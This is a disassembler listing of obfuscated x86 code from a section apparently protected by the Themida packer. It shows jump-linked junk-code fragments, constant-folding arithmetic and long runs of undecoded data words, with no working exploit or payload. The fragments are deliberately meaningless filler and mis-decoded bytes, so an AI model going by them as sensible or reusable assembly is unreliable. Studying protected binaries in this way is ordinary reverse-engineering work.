ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_50A136 ; --------------------------------------------------------------------------- dd 5C241487h, 83DAF74Ah, 80E901EAh, 8900001Ch, 9968241Ch dd 8900005Ch, 0F0E92414h, 8100003Ah, 4C4h, 5D545500h, 4C581h dd 0BE560000h, 4, 0E95EF501h, 67F1h, 6F2EA0BEh, 5EF3012Ch dd 165CE9h, 8E6C100h, 9176EE81h, 0F0899817h, 0FFF3DAE9h dd 2E9ADFFh, 830000A4h, 90E904C4h, 81000037h, 94F683EBh dd 8BDF89BFh, 0C481241Ch, 4, 815FFB01h, 0AB080DC3h, 2BC9E936h dd 0C4830000h, 5569E904h, 55580000h, 490BB53h, 4CE95F44h dd 59000016h, 8304C483h, 896602ECh, 8668241Ch, 8900005Fh dd 0ECE92414h, 5000007Bh, 161273B8h, 64542536h, 1A056D62h dd 312E6F1Ch, 0C28158C7h, 6359054Eh, 0EA81FA01h, 6359054Eh dd 0DEB8505Fh, 0E95B7175h, 9917h, 1C8BDE01h, 0E2895224h dd 4C281h, 0C2810000h, 4, 5C241487h, 31243433h, 34332434h dd 24248B24h, 9C240CFEh, 11A4E9h, 73E95900h, 52000063h dd 36E9B850h, 89566E54h, 0E9F289C6h, 6E44h, 0C281EA01h dd 25E23953h, 4EC835Dh, 0FF241489h, 5A042474h, 4B46E9h dd 0E6BB5300h, 294D3B2Ah, 5B08245Ch, 9EC9E956h, 0C2000000h dd 66D03058h, 8324148Bh, 0C33002C4h, 42EB68h, 24148900h dd 3FCBAh, 0A4EF8100h, 129BB51h, 7AC1E9D7h, 1C870000h dd 39E95C24h, 100006Fh, 0B2685EF3h, 89000077h, 4BF243Ch dd 1000000h, 99E95FFBh, 8FFFFECh, 1C8B66DEh, 2C48124h dd 50000000h, 0E630D5B4h, 8124048Bh, 4C4h, 8BF03000h, 0C4832414h dd 50526604h, 0E950B6B0h, 0A173h ; --------------------------------------------------------------------------- loc_5006E0: ; CODE XREF: Themida_:005090A5j mov edi, ebx pop ebx neg edi shr edi, 6 xor edi, 313625DBh push edx jmp loc_50799F ; --------------------------------------------------------------------------- dd 48BC209h, 4C48124h, 81000000h, 884D78F2h, 9769E972h dd 0EB800000h, 5BDC0040h, 0C064EC80h, 98E902E4h, 0BA0000ABh dd 6BA815CAh, 585AD301h, 3B86B951h, 0C181465Dh, 2381180Ch dd 0C8BCB29h, 0E3895324h, 4C381h, 0E9550000h, 4BC6h, 5B66FD28h dd 0F6F8CD80h, 21B252DDh, 148BD500h, 4C48124h, 83000000h dd 0E0E904ECh, 89000030h, 7968241Ch, 0E9000029h, 0A05Dh dd 0E981D101h, 7B4D464Fh, 81D9015Ah, 9D2B75E9h, 0C1835B4Ch dd 240C8704h, 0E924248Bh, 8204h ; --------------------------------------------------------------------------- loc_500790: ; CODE XREF: Themida_:005076BEj sub esp, 4 mov [esp], edx jmp loc_5095D6 ; --------------------------------------------------------------------------- loc_50079E: ; CODE XREF: Themida_:00509194j add ebp, 6DD1943Fh sub eax, ebp mov ebp, [esp] jmp loc_50424B ; --------------------------------------------------------------------------- dw 405h dd 83000000h, 48704C0h, 87595C24h, 0E95C2434h, 875Eh ; --------------------------------------------------------------------------- loc_5007C4: ; CODE XREF: Themida_:004FF669j pop ecx sub esp, 4 mov [esp], ecx jmp loc_50041A ; --------------------------------------------------------------------------- loc_5007D0: ; CODE XREF: Themida_:00508E4Fj mov edx, esp add edx, 4 jmp loc_504F5C ; --------------------------------------------------------------------------- loc_5007DD: ; CODE XREF: Themida_:00500AE4j mov ebx, edi pop edi xor eax, ebx mov ebx, [esp] add esp, 4 push ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] jmp loc_5058BD ; --------------------------------------------------------------------------- db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx jmp loc_509BA3 ; --------------------------------------------------------------------------- db 2Dh, 0C0h, 51h dd 0D0013123h, 2351C005h, 4EB7E931h, 835C0000h, 3E904ECh dd 4B00001Bh, 0E957D3F7h, 9E27h, 4EC835Fh, 0E9243C89h dd 2E75h, 295EF589h, 0EF0158C5h, 5D2434FFh, 4C481h, 3C330000h dd 243C3124h, 0E9243C33h, 35DEh, 6516E9ADh, 0DAF70000h dd 0F443EA81h, 0D7898326h, 8BCF015Ah, 0C481240Ch, 4, 2D9CE9h dd 5FFA0900h, 0EA6EA81h, 0D001DFCFh, 0F28E95Ah, 0EB810000h dd 2C6F2EA0h, 76D6B951h, 57E923ABh, 5F00002Dh, 8B241C87h dd 25E92424h, 66000072h, 6824048Bh, 0BCh, 89241489h, 246A68E2h dd 2C890000h, 4BD24h, 0EA010000h, 81242C8Bh, 4C4h, 0D486800h dd 2C890000h, 10B9BD24h, 0EDC15F48h, 0F74BE902h, 2ABBFFFFh dd 0E944CA7Dh, 47A8h, 355FF829h, 6607BEC1h, 24D2E9h, 212CAC00h dd 5251D800h, 0B689B450h, 58E62810h, 0E9C3EE80h, 94Dh ; --------------------------------------------------------------------------- loc_500914: ; CODE XREF: Themida_:0050AF4Aj push ebp push eax jmp loc_505ED4 ; --------------------------------------------------------------------------- db 0BBh dd 7D2C397Eh, 4095E981h, 0D9290F3Bh, 4095C181h, 0BCE90F3Bh dd 89000014h, 4812424h, 424h, 0F1DBE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500942: ; CODE XREF: Themida_:0050610Aj push ecx mov ecx, 123F777Bh sub ebx, ecx mov ecx, [esp] add esp, 4 shl ebx, 8 xor ebx, 37E02D14h sub ebx, 1 xor ebx, 1E070032h jmp loc_5056F3 ; --------------------------------------------------------------------------- dw 0ABB9h dd 0F711A03Fh, 0DAC981D9h, 0F75BC84Ch, 44C181D9h, 297BD54Ah dd 5DADE9CAh, 14890000h, 0FE66B624h, 0DACE80C6h, 6603EEC0h dd 0B050h, 85866C6h, 0EFC05AF7h, 0E1895105h, 4C181h, 0F8E90000h dd 83FFFFF9h, 48704C0h, 7F055C24h, 2D45994Bh, 31A81491h dd 0FFEECFE9h, 240483FFh, 2434FF04h, 81241C8Bh, 4C4h, 124CE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5009DA: ; CODE XREF: Themida_:00509AC7j add edx, ecx pop ecx jmp loc_504FFE ; --------------------------------------------------------------------------- dw 0B850h dd 4, 48BC101h, 4C48124h, 0E9000000h, 6FDDh, 0E9CE04ACh dd 4F46h ; --------------------------------------------------------------------------- loc_500A00: ; CODE XREF: Themida_:005069C6j pop dword ptr [esp] pop esp mov [esp], edi mov edi, 0AC61787h xor [esp+4], edi pop edi pop dword ptr [edi+20h] jmp loc_500C0C ; --------------------------------------------------------------------------- loc_500A19: ; CODE XREF: Themida_:00505ECFj or edx, eax shl edx, 1 push eax mov eax, esp jmp loc_50AE36 ; --------------------------------------------------------------------------- db 68h, 44h, 52h dd 685D113Ch, 73ECh, 0E9240489h, 507Dh, 28BF5753h, 89482426h dd 0A9E95FFBh, 8F000094h, 0EC832404h, 240C8904h, 4B9h dd 68515500h, 6011186Bh, 3C33E9h db 0 ; --------------------------------------------------------------------------- loc_500A61: ; CODE XREF: Themida_:00507245j neg al jmp loc_503E68 ; --------------------------------------------------------------------------- loc_500A68: ; CODE XREF: Themida_:005072FAj sub esp, 4 jmp loc_504B4D ; --------------------------------------------------------------------------- loc_500A73: ; CODE XREF: Themida_:00506718j push dword ptr [esp] pop eax push ebx push esp pop ebx push eax sub esp, 4 mov [esp], ecx push 2EA7281Eh pop ecx sub ecx, 2EA7281Ah mov eax, ecx pop ecx add ebx, eax jmp loc_500AC2 ; --------------------------------------------------------------------------- dw 0E901h dd 949BE9h, 53D9F700h, 0FFFE72E9h, 4BBFFh, 0D9010000h dd 2C1815Bh, 83000000h, 0C8904ECh, 4825E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_500AC2: ; CODE XREF: Themida_:00500A95j pop eax add ebx, 4 xchg ebx, [esp] pop esp push ebx push edi mov edi, 0D4655AFh inc edi or edi, 15C53006h sub edi, 35593805h add edi, 7490C77Fh jmp loc_5007DD ; --------------------------------------------------------------------------- aXuvQd1sqv db 'XUVd1q',0 align 2 loc_500AF6: ; CODE XREF: Themida_:0050A470j push 46CAh mov [esp], ecx mov ecx, esp add ecx, 4 push 4B3Eh mov [esp], eax push edi mov edi, 2D2D4D0Ch xor edi, 6F3A63FFh sub edi, 0DD17B7F2h mov eax, edi jmp loc_509920 ; --------------------------------------------------------------------------- db 53h dd 33A0BA52h, 0F74231B3h, 20F281DAh, 811C0F1Eh, 37CB55F2h dd 0E9D389D1h, 1DDAh, 1BA5256h, 83000000h, 148904ECh, 5221E924h dd 15F0000h, 0BF575FF9h, 6F2527CBh, 0EFC1D7F7h, 47D7F707h dd 69B268h, 242C8900h, 0FFF4FDE9h, 0B2EB80FFh, 282EC380h dd 505166C3h, 0D026B252h, 0BEA80E2h, 80E0C280h, 0D48887F2h dd 1EC805Ah, 7A1168h, 241C8900h, 0E9E966B3h, 8B000090h dd 89562404h, 4C681E6h, 81000000h, 4C6h, 525FE900h, 0C7800000h dd 0E9F98844h, 446Dh, 0C5815A59h, 0F068F34Dh, 2C8BE921h dd 4EB4E924h, 505A0000h, 60E0E9h, 4C48300h, 0E9242C8Bh dd 8EEEh ; --------------------------------------------------------------------------- loc_500BE8: ; CODE XREF: Themida_:00508C17j push 25E0h jmp loc_509148 ; --------------------------------------------------------------------------- dw 4268h dd 8900006Dh, 1AE9241Ch, 8B00008Eh, 0D3662424h, 0E99C2424h dd 0FFFFE4B5h ; --------------------------------------------------------------------------- loc_500C0C: ; CODE XREF: Themida_:00500A14j xor dword ptr [edi+20h], 0AC61787h jmp loc_50A1DB ; --------------------------------------------------------------------------- dd 2D685751h, 5F34251Ah, 38F0BA52h, 0D7210A9Ch, 780BE9h db 0 ; --------------------------------------------------------------------------- loc_500C2D: ; CODE XREF: Themida_:005038F2j mov [esp], cx movzx cx, al push cx pushf jmp loc_4FF0C1 ; --------------------------------------------------------------------------- loc_500C3D: ; CODE XREF: Themida_:0050B03Cj mov edx, 166743F2h add edi, edx pop edx add edi, 5F1BFF5Ch and ecx, edi pop edi dec ecx inc ecx push eax mov eax, 7DB61F2Ah add ecx, eax pop eax xor ecx, 96910598h sub eax, 33F65DEEh sub eax, ecx add eax, 33F65DEEh pop ecx push ebx push edx mov edx, 6E490DFAh sub esp, 4 mov [esp], edx pop ebx pop edx sub esp, 4 mov [esp], edx jmp loc_501FE8 ; --------------------------------------------------------------------------- aISpl db '$$鏋',0 align 2 loc_500C8E: ; CODE XREF: Themida_:0050AB4Aj xchg esi, [esp] mov esp, [esp] push ebp mov ebp, esp push eax mov eax, 64517D1h and eax, 0BCC2EAEh jmp loc_506C5A ; --------------------------------------------------------------------------- loc_500CA7: ; CODE XREF: Themida_:00509AD1j or ebx, ecx pop ecx shr ebx, 3 neg ebx jmp loc_50942A ; --------------------------------------------------------------------------- loc_500CB4: ; CODE XREF: Themida_:00508D18j not eax push edi push eax mov edi, [esp] push 1800h jmp loc_502600 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 7CE904h, 0EFC10000h, 0C5E78104h, 81455515h, 0FBFE44C7h dd 5FFD01FAh, 4C581h, 2C870000h, 0F0015C24h, 8324348Bh dd 0BE5604C4h, 0C180E81h, 0FFE72DE9h db 0FFh ; --------------------------------------------------------------------------- loc_500CFD: ; CODE XREF: Themida_:00503E0Fj pop edi push ebp mov ebp, 3099095Ah shl ebp, 5 jmp loc_509186 ; --------------------------------------------------------------------------- dd 0EC80C4FEh, 58E6883Fh, 0A47CE9h, 24248B00h, 4EC81h dd 3C890000h, 7E59E924h, 895C0000h, 22E9243Ch, 66FFFFECh dd 86E930FFh, 81FFFFE3h, 4C5h, 242C8700h, 0E377E95Ch, 8F5BFFFFh dd 815C2404h, 0B1300BC6h, 81C6015Fh, 0B1300BEEh, 2434FF5Fh dd 4C48358h, 630E68h, 24348900h, 69243481h, 0FF6D4875h dd 535F2434h, 5035E9h, 4A170500h, 0F8013E2Bh, 2B4A172Dh dd 9F4BE93Eh, 3C290000h, 0EC835F24h, 240C8904h, 998091B9h dd 8B50E96Bh, 0C6010000h, 757CEE81h, 31587575h, 0BE565EF0h dd 2963F47h, 11C0B951h, 0BA525BBCh, 7E434640h, 8104EAC1h dd 70829DF2h, 5AD12957h, 972E9h, 0BEC78100h, 0E97DE30Eh dd 9526h, 4C3815Fh, 87000000h, 815C241Ch, 0B57B5EC5h, 4EC8119h dd 89000000h, 0F9BE2434h, 536484ECh, 9621F8BBh, 901E91Dh dd 5F540000h, 3D45BA52h, 814A5B3Fh, 3F3D40F2h, 5AD7015Bh dd 18C2E9h, 4ABF6800h, 4890000h, 0E297E924h, 0C481FFFFh dd 4, 4C181h, 0BF570000h, 2, 34FFF901h, 89525F24h, 4C281E2h dd 55000000h, 4BDh, 5594E900h, 0C6810000h, 4, 4C681h, 0DFE90000h dd 0C0000040h, 0D7F604EFh, 3C37E9h, 240C8B00h, 51668h dd 24048900h, 1BB468h, 24248900h, 11BE9h, 4C48100h, 0E9000000h dd 13ABh ; --------------------------------------------------------------------------- loc_500E94: ; CODE XREF: Themida_:0050AAF9j mov edx, [esp] add esp, 4 mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 6599h mov [esp], edx jmp loc_502452 ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 24041166h, 0E1F7E99Ch, 0F301FFFFh, 8324348Bh dd 55E904C4h, 5A000068h, 591C4F21h, 0FFE1E0E9h, 83D3F6FFh dd 896602ECh, 22B22414h, 0DE9D300h, 5100009Bh, 0C2885253h dd 885AD388h, 5C4EE9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_500F02: ; CODE XREF: Themida_:00502B08j xchg edx, [esp] jmp loc_505ECC ; --------------------------------------------------------------------------- aTs9 db 'T9=',0 align 10h dd 9CC83B5Ch, 0FFE1A8E9h, 0FBCF80FFh, 1F55E9h, 2890B400h dd 7374E9E7h, 0C7810000h, 753D7F33h, 5FFE895Dh, 45C3F681h dd 0F33112DBh, 0E1EB815Eh, 0E9AA2E94h, 6ADCh, 240C8B66h dd 0EE74E950h, 0F787FFFFh, 4618C781h, 0F801004Ch, 4055Fh dd 4330000h, 24043124h, 8B240433h, 34FF2424h, 24148B24h dd 0FFE40DE9h, 0E9575EFFh, 90C0h, 4C281h, 14870000h, 685C24h dd 0E900001Eh, 807Ah ; --------------------------------------------------------------------------- loc_500F94: ; CODE XREF: Themida_:005079B9j pop edx sub edx, edi pop edi pop eax loc_500F99: ; CODE XREF: Themida_:00503C41j ; Themida_:00504AD5j push dword ptr [edi+24h] push dword ptr [esp] jmp loc_4FF702 ; --------------------------------------------------------------------------- dd 4240481h, 8B000000h, 0E9552404h, 18CDh, 288AC280h, 75A0E9D0h dd 0E7810000h, 49523F49h, 9350E9h, 0BB534700h, 1F4C57B5h dd 98CEB81h, 0DF01BBABh, 6F24E9h, 0C0B70F00h, 41096866h dd 24048966h, 0FFE0D4E9h, 4EC83FFh, 24048F54h, 4240483h dd 5A2434FFh, 5A45E953h, 51580000h, 0BA52E189h, 4, 815AD101h dd 4E9h, 240C8700h, 242C895Ch, 242C8B54h, 81E18951h, 4C1h dd 7F6EE900h, 5D540000h, 4C581h, 0E90000h, 0FFFFFFFDh dd 3EE92434h, 0BAFFFFE7h, 4, 60DEED81h, 0D50164FAh, 60DEC581h dd 34FF64FAh, 0C4835A24h, 242C8704h, 4F67E9h, 99BF5700h dd 0C17D5972h, 534707E7h, 46B381BBh, 5BDF0153h, 68E9C681h dd 94E90D87h, 8900009Bh, 405E0h, 0C0830000h, 24048704h dd 59DBE9h, 5EDB6800h, 3C890000h, 2474FF24h, 48F5F04h dd 24248B24h, 592434FFh, 624468h, 9357E900h, 0FBF0000h dd 0E97AEA1Ch, 0FFFFFC0Eh ; --------------------------------------------------------------------------- loc_5010C0: ; CODE XREF: Themida_:0050573Aj sub ecx, eax mov eax, [esp] add esp, 4 xchg ecx, [esp] pop esp mov [esp], eax push edi mov edi, 310B2038h mov eax, 1DF4F50Ah add eax, edi mov edi, [esp] add esp, 4 shr eax, 4 push ebp mov ebp, 3BE20221h sub eax, 1774545Ah add eax, ebp add eax, 1774545Ah pop ebp xor eax, 40D203F5h and ecx, eax pop eax jmp loc_507D84 ; --------------------------------------------------------------------------- db 66h dd 5024048Bh, 739BE9h db 0 ; --------------------------------------------------------------------------- loc_501115: ; CODE XREF: Themida_:00504257j mov eax, 74A853CCh sub dword ptr [esp+4], 72C50355h jmp loc_5097D1 ; --------------------------------------------------------------------------- db 0FFh a4Sm_ db '4$_',0 dw 6600h dd 5124348Bh, 0BD55E189h, 0CDA0B8Dh, 0FFE49EE9h, 40558FFh dd 5000000h, 4, 5C240487h, 4E84E9h, 45410500h, 24E92AF2h dd 57FFFFEEh, 268FE9h, 0E8C15C00h, 68C83108h, 755Bh, 87240489h dd 0B0E92414h, 53000012h, 8DB1E9h db 0 ; --------------------------------------------------------------------------- loc_501181: ; CODE XREF: Themida_:005033E5j xor edx, 0CBF4284h push esi mov esi, 54097A4Ch add esi, 39127FD5h dec esi jmp loc_506B7A ; --------------------------------------------------------------------------- db 5Ah, 1, 0F0h dd 74FF505Eh, 8F580424h, 248B2404h, 0C8B6624h, 2F5C6824h dd 2C890000h, 81E58924h, 4C5h, 26E900h, 15B0000h, 243C8BF9h dd 88C4E9h db 0 ; --------------------------------------------------------------------------- loc_5011CD: ; CODE XREF: Themida_:00507019j pop ebp mov edi, edx mov edx, [esp] add esp, 4 push edi push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_4FF587 ; --------------------------------------------------------------------------- dd 4EC81h, 1C890000h, 319DE924h, 0C6E90000h, 0F7FFFFDEh dd 65F381D3h, 550C5A15h, 8F0BD0BDh, 0F1C5812Ah, 0F71A7149h dd 32ED81D5h, 292F916Eh, 242C8BEBh, 0FFEEAAE9h db 0FFh ; --------------------------------------------------------------------------- loc_501221: ; CODE XREF: Themida_:004FF195j mov esp, [esp] jmp loc_506853 ; --------------------------------------------------------------------------- loc_501229: ; CODE XREF: Themida_:005058C4j mov [esp], ebp mov ebp, 1D3B26F5h sub esp, 4 mov [esp], ebp pop ecx pop ebp xchg eax, ecx push eax not dword ptr [esp] jmp loc_506BE8 ; --------------------------------------------------------------------------- loc_501246: ; CODE XREF: Themida_:00508FF9j div cl jmp loc_501CFB ; --------------------------------------------------------------------------- db 56h, 0BEh, 22h dd 4642BB60h, 0CE81DEF7h, 4DEB1D1Bh, 0FFF304E9h, 8BF188FFh dd 0C4832414h, 0F6FE904h, 34FF0000h, 76E95A24h, 6600001Bh dd 0E9240C8Bh, 3837h, 5EE9E289h, 0FFFFFFECh, 525D2434h dd 0C281E289h, 4, 6E19E9h, 4C68300h, 6C5468h, 24348900h dd 42474FFh, 0E92434FFh, 370Eh ; --------------------------------------------------------------------------- loc_5012B0: ; CODE XREF: Themida_:00505305j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], esi mov esi, esp push ebx mov ebx, 4 add esi, ebx pop ebx sub esi, 4 jmp loc_507066 ; --------------------------------------------------------------------------- db 81h dd 0EF3F0CE7h, 4D03E935h, 0FF5F0000h, 0E9582434h, 2DCBh dd 83243C8Bh, 0C38104C4h, 2C144316h, 0BC68C329h, 89000006h dd 0E953243Ch, 3F54h, 8B2434FFh, 0C4832404h, 0E2895204h dd 4B951h, 0CA010000h, 22B6859h, 3C890000h, 7D236824h dd 0C890000h, 6C52E924h, 492C0000h, 4904F828h, 461FE95Bh dd 4F310000h, 2434FF24h, 8C08E9h, 81C10100h, 1609D3C1h dd 80B8E906h, 34FF0000h, 0CBE95F24h, 89000094h, 0BA52240Ch dd 234F3F6Fh, 7724E9h, 24348B00h, 8904C483h, 0D3895DEAh dd 0E984E95Ah, 0C381FFFFh, 65331507h, 2159C281h, 0B9517CC1h dd 3D125A91h, 54BEF181h, 0D9F7574Eh, 1789C981h, 57E93FF2h dd 83000018h, 16E904ECh db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5013AF: ; CODE XREF: Themida_:004FF40Dj and ecx, esi pop esi xor ecx, 4510482Dh inc ecx jmp loc_502173 ; --------------------------------------------------------------------------- dw 1C87h dd 4895C24h, 4BAEE924h, 0C3000000h, 2CC9B050h, 0DF23E988h dd 0F766FFFFh, 0D0F766D8h, 4C4D0D66h, 4E8C166h, 19F8E9h dd 0E7814F00h, 0B400728h, 402F781h, 0F9890000h, 7AE9535Fh dd 5000018h, 4, 2474FF50h, 48F5804h, 24248B24h, 51C8AF0Fh dd 0DCA7E99Ch, 348BFFFFh, 4C48124h, 81000000h, 4C6h, 0FC37E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50142E: ; CODE XREF: Themida_:0050747Fj pop esp push edi jmp loc_503351 ; --------------------------------------------------------------------------- db 81h, 0C6h, 0E7h dd 0F75F7021h, 0F6E681DEh, 52722532h, 850BDBAh, 5CF28119h dd 5031BE3Ch, 4F4E0BB8h, 0F29AE95Ah, 0E950FFFFh, 63FFh dd 4EC81h, 3C890000h, 56E78924h, 4BEh, 59EF8100h, 81595C64h dd 0B001F5EFh, 81F70160h, 0B001F5C7h, 31CAE960h, 0F1810000h dd 7D87190Fh, 1CC5E9h, 0E9E08900h, 29F8h, 0FFDC20E9h, 19E955FFh dd 5500008Bh, 477AE9h, 41AD6800h, 34890000h, 832AE924h dd 92B80000h, 291B8126h, 39E958C2h, 4100009Bh, 1A64BA52h dd 0E2C177D6h, 5EB2E906h, 58590000h, 8B66F300h, 0C4832414h dd 0E9C32802h, 0FFFFEE28h, 0C581FD29h, 1DD55D4Eh, 81243C8Bh dd 4C4h, 8BEF2900h, 0C481242Ch, 4, 895250FDh, 3905E9E2h dd 632D0000h, 8B58E93Dh, 8957240Ch, 4C781E7h, 50000000h dd 4B8h, 58C70100h, 61BEE9h, 0E1895100h, 2855E9h, 0B7B95100h dd 0F72F972Dh, 1E981D1h, 81000000h, 0EA4E75C1h, 0B8F18115h dd 1E65320h, 6E88E9CEh, 3C870000h, 24248B24h, 9B35351h dd 0F605EBC0h, 80D3F6DBh, 0CB80D5F3h, 6DC0E91Dh, 14890000h dd 81E28924h, 4C2h, 4C28100h, 87000000h, 5D5C2414h, 0FFDB34E9h db 0FFh ; --------------------------------------------------------------------------- loc_50158D: ; CODE XREF: Themida_:0050173Ej push dword ptr [esp] pop esi push ebp jmp loc_50425C ; --------------------------------------------------------------------------- loc_501597: ; CODE XREF: Themida_:00507368j pop ecx pop dword ptr [esp] jmp loc_502E54 ; --------------------------------------------------------------------------- loc_5015A0: ; CODE XREF: Themida_:00507B16j shr ebx, 6 push edi mov edi, 72713921h shl edi, 2 jmp loc_50007E ; --------------------------------------------------------------------------- aYa db 'Y',0 db '[',0 db 0E8h, 2Ch, 57h dd 0E923B353h, 1CC6h, 882DCABEh, 3E94669h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5015CF: ; CODE XREF: Themida_:0050A5F8j sub esp, 4 mov [esp], ebx pop edx push ebx mov ebx, edx mov ebp, ebx pop ebx jmp loc_50764C ; --------------------------------------------------------------------------- dd 0EDA1F181h, 0C3811FBBh, 174D5792h, 0BD55CB01h, 2C404440h dd 4A6EBF57h, 17E97AFAh, 31000049h, 0E9575EF0h, 808Ch dd 247668h, 240C8900h, 3DD268h, 24248900h, 72F3E9h, 24248B00h dd 2D53E9h, 5B73B800h, 0EB051F0Dh, 50F10F40h, 9A6399B8h dd 2E0C15Fh, 5F7FE940h, 7C880000h, 5B660224h, 1BE0E9h db 0 ; --------------------------------------------------------------------------- loc_50164D: ; CODE XREF: Themida_:00504419j not dword ptr [esp] mov ebp, [esp] add esp, 4 push edx jmp loc_4FF8EA ; --------------------------------------------------------------------------- dd 80DE0D1h, 516B6E2Fh, 2F59EAB9h, 8BC8096Bh, 2FE9240Ch dd 87FFFFEFh, 8E2C1CAh, 2209F281h, 0C2814680h, 4C998FFBh dd 4E6CE9h db 0 ; --------------------------------------------------------------------------- loc_501689: ; CODE XREF: Themida_:005064F0j push 303Ah mov [esp], edi mov eax, [esp] push edi jmp loc_5085E1 ; --------------------------------------------------------------------------- dw 0E681h dd 621C0A03h, 0BA52D6F7h, 43A476E5h, 81DAF74Ah, 6D624CC2h dd 42E94230h, 0B700003Fh, 8E33E94Fh, 8F660000h, 0EC832404h dd 2C896602h, 189E6824h, 4890000h, 0D686624h, 66586660h dd 6608E8C1h, 0E944992Dh, 3F7Dh, 0E95F5A57h, 1A55h, 0E924348Bh dd 86ACh, 0C8B665Ch, 0E7895724h, 8904EC83h, 0F6E92434h dd 0C1FFFFE3h, 0E7E908E3h, 9FFFFDDh, 348B1C77h, 4C48324h dd 46368h, 24148900h, 2CBD5553h, 29560B3Ch, 0E904246Ch dd 6C69h ; --------------------------------------------------------------------------- loc_501730: ; CODE XREF: Themida_:0050006Dj pop esp mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_50158D ; --------------------------------------------------------------------------- db 21h dd 0CE8159CEh, 6CB91451h, 2404FF56h, 5630E9h db 0 ; --------------------------------------------------------------------------- loc_501755: ; CODE XREF: Themida_:00509661j add edi, 47D613F5h not edi dec edi dec edi jmp loc_4FFC79 ; --------------------------------------------------------------------------- dd 8904EC83h, 0D0B22414h, 79E4E9h db 0 ; --------------------------------------------------------------------------- loc_501771: ; CODE XREF: Themida_:00508E8Fj mov ebp, 53D41162h xor ebp, 37CD5571h shr ebp, 7 add ebp, 185EF1AEh mov eax, ebp pop ebp add [esp+4], eax mov eax, [esp] add esp, 4 jmp loc_50B021 ; --------------------------------------------------------------------------- db 66h dd 0E924048Bh, 0FFFFFC07h ; --------------------------------------------------------------------------- loc_5017A0: ; CODE XREF: Themida_:00504A5Bj sub edx, 431D1552h add edx, ebx add edx, 431D1552h pop ebx add edx, edi jmp loc_508E70 ; --------------------------------------------------------------------------- dw 0BA52h dd 49AA30D3h, 7408B951h, 0E9816284h, 5BA372E2h, 628E9h dd 0D8EFE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5017D2: ; CODE XREF: Themida_:005070A4j mov eax, [esp] push eax jmp loc_50A8B4 ; --------------------------------------------------------------------------- db 31h dd 2C33242Ch, 24248B24h, 81240C8Bh, 4ECh, 0DFD4E900h, 0FE30FFFFh dd 0FE30F730h, 3031B050h, 885158C6h, 0E9EB88F5h, 91EFh dd 0B44D62BAh, 484F6803h, 0E95F0813h, 0FFFFE1AAh, 81240C89h dd 4ECh, 24248900h, 4C35E9h, 244C2900h, 7EE95908h, 66000069h dd 66595368h, 68241C89h, 4CDAh, 53240489h, 88CE8852h, 24148BF3h dd 0FFF638E9h, 1DF381FFh, 8148081Fh, 0F6AA8EEBh, 75F2E9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_501862: ; CODE XREF: Themida_:00504A72j pop ebp pop ecx push 6204h mov [esp], edi push ecx mov ecx, esp add ecx, 4 jmp loc_50ABF8 ; --------------------------------------------------------------------------- dw 95Ah dd 2434FFD0h, 3365E95Ah, 0E95B0000h, 22A5h ; --------------------------------------------------------------------------- loc_50188C: ; CODE XREF: Themida_:00504FEFj inc eax xor eax, 5A8B23B5h xor eax, 0BAED2432h jmp loc_504B6B ; --------------------------------------------------------------------------- loc_50189C: ; CODE XREF: Themida_:00503586j sub ecx, 6802802h sub ecx, edx jmp loc_50A5C6 ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 75h dd 1FFFFD8h, 4EACE9D7h, 0EE810000h, 59766C35h, 6CDBEE81h dd 0E4E94652h, 8100006Ch, 5C9C40F7h, 92E957BAh db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5018D3: ; CODE XREF: Themida_:00505214j push ecx push dword ptr [esp+4] pop ecx jmp loc_5033D3 ; --------------------------------------------------------------------------- dw 0B60Fh dd 8734FFC0h, 521C68h, 242C8900h, 5156E589h, 0D5242E68h dd 0D9F75936h, 0C103E9C1h, 0F18107E9h, 324AB2h, 159CE89h dd 0ED815EF5h, 4, 31242C33h, 2C33242Ch, 2F19E924h, 14880000h dd 2434FF87h, 4C4835Ah, 0E9241C8Bh, 6069h, 0FF56FE31h dd 0C15E240Ch, 0F0E905E6h, 0FF00001Eh, 1AE92434h, 2CFFFFDBh dd 4FE959E4h, 87FFFFDDh, 0CFE9240Ch db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_501957: ; CODE XREF: Themida_:00502130j add ebx, edi sub ebx, 207747D8h pop edi xchg ebx, [esp] pop esp push 63A2h mov [esp], ebx push ecx mov ecx, 78EA3283h mov ebx, ecx pop ecx push ebp mov ebp, 359C4F7Fh jmp loc_50241F ; --------------------------------------------------------------------------- dd 0CF3BB605h, 58C2013Bh, 0FFD775E9h, 4EC83FFh, 0E9242C89h dd 6924h, 355168h, 24048900h, 24048B54h, 6804C483h, 148Eh dd 56241C89h, 351FE9h, 240C8700h, 0D224248Bh, 0E99C240Ch dd 0FFFFD6FDh, 0B850E689h, 3CC7CE4h, 2E8C140h, 3F493E35h dd 56033545h, 0C60145CCh, 4C68358h, 5C243487h, 0B22BD55h dd 0F581346Ah, 5CA730F0h, 2C8BEF01h, 4C48324h, 0EC81CF01h dd 4, 68242C89h, 0D3E7AF0h, 81242C8Bh, 4C4h, 7DE95700h dd 4Bh, 0C0C380C3h, 353E9h, 0A778B800h, 0C501D32Fh, 3DC58158h dd 29725412h, 3DED81D5h, 89725412h, 0CA815DEAh, 3AA91383h dd 3275EA81h, 0F36827AFh, 89000018h, 0A9BB241Ch, 0E92D2417h 